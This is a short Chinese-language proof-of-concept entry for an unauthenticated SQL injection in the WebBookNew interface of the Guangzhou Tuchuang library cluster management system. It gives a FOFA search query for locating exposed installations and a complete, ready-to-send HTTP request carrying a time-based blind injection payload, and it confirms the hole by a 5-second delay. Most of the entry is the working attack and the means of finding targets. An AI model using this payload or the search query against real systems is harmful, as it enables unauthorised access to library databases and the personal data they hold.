G2-1广州图创-图书馆集群管理系统-SQL

漏洞描述：

由于广州图创 图书馆集群管理系统 WebBookNew 接口处未对用户输入的SQL语句进行过滤或验证导致出现SQL注入漏洞，未经身份验证的攻击者可以利用此漏洞获取数据库敏感信息。

网站图片：

网络测绘：

fofa语法：

FOFA：body="/interlib/common/"

漏洞复现：

payload：

```
GET /interlib/websearch/WebBookNew?cmdACT=search_BookNew&showpage=1&filter=1+AND+1=DBMS_PIPE.RECEIVE_MESSAGE('RDS',5) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Upgrade-Insecure-Requests: 1
```

效果图:
延时5秒